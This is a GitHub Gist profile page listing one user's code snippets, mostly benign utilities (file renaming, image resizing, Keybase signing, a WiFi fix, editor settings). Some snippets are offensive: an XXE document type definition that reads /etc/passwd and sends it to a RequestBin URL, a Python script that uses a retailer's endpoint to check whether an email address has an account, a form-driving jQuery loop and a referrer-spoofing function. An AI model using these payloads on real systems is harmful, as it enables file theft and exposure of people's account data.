Skip to content

Instantly share code, notes, and snippets.

View drewsberry's full-sized avatar

Drew - Account Moved drewsberry

View GitHub Profile
@drewsberry
drewsberry / rename.ps1
Created September 15, 2015 09:34
Powershell rename utility
Dir | Rename-Item -NewName { $_.name -replace "orig", "repl" }
@drewsberry
drewsberry / batch-convert.sh
Last active September 30, 2015 10:41
Batch resize png images with bash and ImageMagick
#!/bin/sh
convert_path="C:/Program Files/ImageMagick/convert.exe"
target_path="."
target_ext="png"
echo "Warning, this will overwrite the current images."
read -r -p "Do you want to continue? [y/N] " response
response=${response,,} # tolower
@drewsberry
drewsberry / keybase.md
Created November 30, 2015 09:03
Keybase identity proof

Keybase proof

I hereby claim:

  • I am drewsberry on github.
  • I am drewsberry (https://keybase.io/drewsberry) on keybase.
  • I have a public key whose fingerprint is 32AE 9006 2229 F440 8D5A 3716 F68B AB3B 4A08 2356

To claim this, I am signing this object:

setTimeout(function() {
var $textInput = $('input[name="ctl00$cphBody$txtEmailAddressEnter"]');
var $submitButton = $('input[name="ctl00$cphBody$btnNext"]');
var $wheel = $('#wheel');
if ($textInput.length !== 0) {
var currentEmail = $textInput.val();
var currentNumber = Number(currentEmail.match(/[\d]+/)[0]);
@drewsberry
drewsberry / sign
Created November 10, 2016 22:05
Use keybase command line utility to sign a file and detach the signature into a .sig file.
#!/bin/sh
usage() {
echo "sign INPUT_FILE"
}
keybase_not_found() {
echo >&2 "Keybase command line utilities must be installed to sign files."
exit 1
}
@drewsberry
drewsberry / js-set-referrer.js
Created December 20, 2016 18:28
Set referrer header in JS.
// See https://stackoverflow.com/a/23434948
function setReferrerHeader(referrerName) {
Object.defineProperty(document, "referrer", {
get: function () { return referrerName; },
});
}
@drewsberry
drewsberry / fix-wifi
Created January 4, 2017 22:04
Fix WiFi problems that sometimes happen on Ubuntu.
#!/bin/bash
if [[ $UID -ne 0 ]]; then
sudo "$0"
exit
fi
echo "Stopping network manager..."
service network-manager stop
echo "Done."
@drewsberry
drewsberry / waitrose_account_enumeration.py
Last active February 9, 2017 12:35
Waitrose website expose a nice JSON API for account enumeration. This script utilises this endpoint to find out whether an input email address has an account with Waitrose.
import click
import requests
def has_waitrose_account(email_address):
""" Checks whether use with input email address has a Waitrose
account. """
enum_endpoint = "https://www.waitrose.com/shop/" + \
"LogonIdLookupCmd?_method=GET&" + \
@drewsberry
drewsberry / vscode-settings.json
Created March 16, 2017 14:50
My Visual Studio Code settings
{
"files.associations": {
"*.cfg": "plaintext"
},
"window.zoomLevel": 0,
"editor.renderWhitespace": "boundary",
"files.trimTrailingWhitespace": true,
"eslint.enable": true,
"eslint.run": "onType",
"files.insertFinalNewline": true,
@drewsberry
drewsberry / xxe.dtd
Created April 11, 2017 17:45
XML Document Type Definition for testing for XXE (replace RequestBin URl with your own).
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://requestb.in/1fjht231?%data;'>">